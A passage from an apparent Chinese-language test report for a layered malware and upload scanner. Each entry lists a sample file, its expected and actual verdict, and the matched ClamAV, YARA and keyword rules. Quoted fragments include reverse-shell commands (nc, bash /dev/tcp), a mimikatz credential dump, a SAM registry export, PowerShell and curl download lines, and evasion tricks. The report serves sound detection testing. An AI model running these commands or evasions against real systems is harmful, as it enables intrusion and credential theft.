action=reject) +- **判定理由**: 文件类型 .cvd 不在允许清单内 + +**命中规则:** 无 + +#### ✅ L1-010 — `L1-010_corrupt.cvd` + +- **描述**: 损坏病毒库占位 +- **文件大小**: 30 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 文件类型 .cvd 不在允许清单内 + +**命中规则:** 无 + +#### ✅ L1-011 — `L1-011_eicar_in_3layer.zip` + +- **描述**: EICAR放在多层嵌套zip +- **文件大小**: 412 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-012 — `L1-012_eicar_base64.txt` + +- **描述**: base64 编码 EICAR,ClamAV 不解码 +- **文件大小**: 92 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L1-013 — `L1-013_bigfile_eicar.txt` + +- **描述**: 10MB+ 文本尾部含 EICAR +- **文件大小**: 800,070 B +- **预期**: `review` +- **实际**: `suspicious` (score=35.0, action=manual_review) +- **判定理由**: structure:文件内嵌 EICAR 测试病毒字节序列(文件大小 800070B) + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 800070B) | + +#### ✅ L1-014 — `L1-014_concurrent_test.txt` + +- **描述**: 并发压测占位(靠 API 并发调用) +- **文件大小**: 163 B +- **预期**: `review` +- **实际**: `suspicious` (score=35.0, action=manual_review) +- **判定理由**: structure:文件内嵌 EICAR 测试病毒字节序列(文件大小 163B) + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 163B) | + +#### ✅ L1-014-00 — `L1-014_concurrent_eicar_00.txt` + +- **描述**: 并发压测占位 #0 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-014-01 — `L1-014_concurrent_eicar_01.txt` + +- **描述**: 并发压测占位 #1 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-014-02 — `L1-014_concurrent_eicar_02.txt` + +- **描述**: 并发压测占位 #2 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-014-03 — `L1-014_concurrent_eicar_03.txt` + +- **描述**: 并发压测占位 #3 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-014-04 — `L1-014_concurrent_eicar_04.txt` + +- **描述**: 并发压测占位 #4 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-014-05 — `L1-014_concurrent_eicar_05.txt` + +- **描述**: 并发压测占位 #5 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-014-06 — `L1-014_concurrent_eicar_06.txt` + +- **描述**: 并发压测占位 #6 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-014-07 — `L1-014_concurrent_eicar_07.txt` + +- **描述**: 并发压测占位 #7 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-014-08 — `L1-014_concurrent_eicar_08.txt` + +- **描述**: 并发压测占位 #8 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-014-09 — `L1-014_concurrent_eicar_09.txt` + +- **描述**: 并发压测占位 #9 +- **文件大小**: 68 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `EmbeddedEICAR` | 35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | + +#### ✅ L1-015 — `L1-015_layer_off_sample.bin` + +- **描述**: 关闭分层开关测试占位 +- **文件大小**: 68 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 EICAR virus test files(.txt) | +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin | +| `clamav` | `L1` | `critical` | `Eicar-Test-Signature` | 90.0 | ClamAV 签名命中:Eicar-Test-Signature | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'DOS Header magic not found.' | + +### L3 + +#### ✅ L3-001 — `L3-001_001_sample.ps1` + +- **描述**: PS1明文:Invoke-WebRequest下载 +- **文件大小**: 77 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 | +| `document` | `L2` | `critical` | `SuspiciousScript` | 70.0 | 下载远程载荷 | +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] | +| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) | + +#### ✅ L3-002 — `L3-002_002_sample.ps1` + +- **描述**: PS1明文:反弹shell nc +- **文件大小**: 29 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc 10.0.0.5'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 | +| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc 10.0.0.5'] | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L3-003 — `L3-003_003_sample.bat` + +- **描述**: bat明文:curl下载payload +- **文件大小**: 40 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://ev'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat | +| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://ev'] | + +#### ✅ L3-004 — `L3-004_004_sample.txt` + +- **描述**: 文本包含mimikatz关键字 +- **文件大小**: 54 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 CredentialStealer 命中:词表命中:CredentialStealer(模式=regex),命中 2 处:['mimikatz.exe privi', 'ge::debug sekurlsa::logonpas'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `critical` | `CredentialStealer` | 45.0 | 词表命中:CredentialStealer(模式=regex),命中 2 处:['mimikatz.exe privi', 'ge::debug sekurlsa::logonpas'] | + +#### ✅ L3-005 — `L3-005_005_sample.txt` + +- **描述**: 文本包含reg save导出注册表 +- **文件大小**: 26 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 CredentialExport 命中:词表命中:CredentialExport(模式=regex),命中 1 处:['reg save HKLM\\SAM sam.save'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `critical` | `CredentialExport` | 45.0 | 词表命中:CredentialExport(模式=regex),命中 1 处:['reg save HKLM\\SAM sam.save'] | + +#### ✅ L3-006 — `L3-006_006_sample.txt` + +- **描述**: 文本包含rdp、tscon劫持关键字 +- **文件大小**: 23 B +- **预期**: `review` +- **实际**: `suspicious` (score=35.0, action=manual_review) +- **判定理由**: keywords:词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['tscon 1 /dest:r'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `high` | `RemoteSessionHijack` | 35.0 | 词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['tscon 1 /dest:r'] | + +#### ✅ L3-007 — `L3-007_007_sample.txt` + +- **描述**: 高危串base64编码放在txt +- **文件大小**: 23 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L3-008 — `L3-008_008_sample.ps1` + +- **描述**: Powershell字符串拆分拼接绕过 +- **文件大小**: 39 B +- **预期**: `pass` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 | + +#### ✅ L3-009 — `L3-009_newline_split.txt` + +- **描述**: 换行分割绕过(L3 不做换行合并,记录边界) +- **文件大小**: 54 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest https://e'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest https://e'] | + +#### ✅ L3-010 — `L3-010_010_sample.ps1` + +- **描述**: 高危串插入注释分割(powershell #注释) +- **文件大小**: 42 B +- **预期**: `review` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 | + +#### ✅ L3-011 — `L3-011_011_sample.js` + +- **描述**: 高危串放js脚本内 +- **文件大小**: 58 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:["Function('wget http://ev"] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.js | +| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:["Function('wget http://ev"] | + +#### ✅ L3-012 — `L3-012_012_sample.bat` + +- **描述**: 正常内网运维curl(白名单对照) +- **文件大小**: 34 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://19'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat | +| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://19'] | + +#### ✅ L3-013 — `L3-013_normal_scp.sh` + +- **描述**: 内网正常 scp 运维脚本,不误报 +- **文件大小**: 118 B +- **预期**: `pass` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.sh + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh | + +#### ✅ L3-014 — `L3-014_l3001_in_zip.zip` + +- **描述**: 高危字符串放在zip内部txt +- **文件大小**: 177 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['ayload.ps1Invoke-WebRequest -Uri http'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ArchiveContainsExecutable` | 30.0 | 归档内含可执行文件 1 个:payload.ps1 | +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['ayload.ps1Invoke-WebRequest -Uri http'] | +| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) | + +#### ✅ L3-015 — `L3-015_keyword_in_docx.docx` + +- **描述**: 高危字符串放在docx文本正文 +- **文件大小**: 316 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['cument.xmlInvoke-WebRequest -Uri http'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['cument.xmlInvoke-WebRequest -Uri http'] | +| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) | + +#### ✅ L3-016 — `L3-016_016_sample.ps1` + +- **描述**: 空脚本文件(负样本) +- **文件大小**: 0 B +- **预期**: `pass` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 | + +#### ✅ L3-017 — `L3-017_017_sample.txt` + +- **描述**: 多条高危特征同文件复合 +- **文件大小**: 39 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc -lv 4444'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc -lv 4444'] | +| `keywords` | `L2B` | `critical` | `CredentialStealer` | 45.0 | 词表命中:CredentialStealer(模式=regex),命中 1 处:['lv 4444 & mimikatz privilege'] | + +#### ✅ L3-018 — `L3-018_018_sample.txt` + +- **描述**: 高危字符串大小写混写 +- **文件大小**: 34 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['iNvOkE-WebReQuEsT https://e'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['iNvOkE-WebReQuEsT https://e'] | + +#### ✅ L3-019 — `L3-019_unicode_obfuscated.txt` + +- **描述**: 同形字混淆,L3 默认不命中 +- **文件大小**: 35 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L3-020 — `L3-020_log_with_keyword.log` + +- **描述**: 日志文件混杂正常日志+高危串 +- **文件大小**: 163 B +- **预期**: `reject` +- **实际**: `malicious` (score=95.0, action=reject) +- **判定理由**: 风险评分 95.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L3-021 — `L3-021_021_sample.eml` + +- **描述**: 高危字符串放在eml邮件正文 +- **文件大小**: 89 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['r@evil.comInvoke-WebRequest -Uri http'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['r@evil.comInvoke-WebRequest -Uri http'] | +| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) | + +#### ✅ L3-022 — `L3-022_layer_off_sample.bin` + +- **描述**: 关闭分层开关测试占位 +- **文件大小**: 57 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 ASCII text, with no line terminators(.txt) | +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin | +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] | +| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Unable to read the DOS Header, possibly a truncated file.' | + +#### ✅ L3-023 — `L3-023_keyword_in_encrypted.zip` + +- **描述**: 加密 zip 内容无法扫描(标记) +- **文件大小**: 139 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 CredentialStealer 命中:词表命中:CredentialStealer(模式=regex),命中 1 处:['?Jevil.txtmimikatz privilege'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `critical` | `CredentialStealer` | 45.0 | 词表命中:CredentialStealer(模式=regex),命中 1 处:['?Jevil.txtmimikatz privilege'] | + +#### ✅ L3-024 — `L3-024_024_sample.txt` + +- **描述**: 超长单行文本(10万字符)包含高危串 +- **文件大小**: 100,035 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest xxxxxxxxx'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest xxxxxxxxx'] | + +#### ✅ L3-025 — `L3-025_whitelist_test.txt` + +- **描述**: 内网白名单域名对照(策略层白名单) +- **文件大小**: 87 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] | +| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) | + +### L4 + +#### ✅ L4-001 — `L4-001_001_sample.txt` + +- **描述**: YARA正向命中占位(需对应规则) +- **文件大小**: 85 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['-e cmd.exebash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['-e cmd.exebash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L4-002 — `L4-002_002_sample.txt` + +- **描述**: 干净对照 +- **文件大小**: 42 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L4-003 — `L4-003_pe_with_string.exe` + +- **描述**: 二进制内嵌匹配字符串 +- **文件大小**: 928 B +- **预期**: `review` +- **实际**: `malicious` (score=75.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 | +| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 | +| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit | + +#### ✅ L4-004 — `L4-004_multi_rule_match.txt` + +- **描述**: 同一个文件同时命中多条 YARA +- **文件大小**: 128 B +- **预期**: `review` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['-e 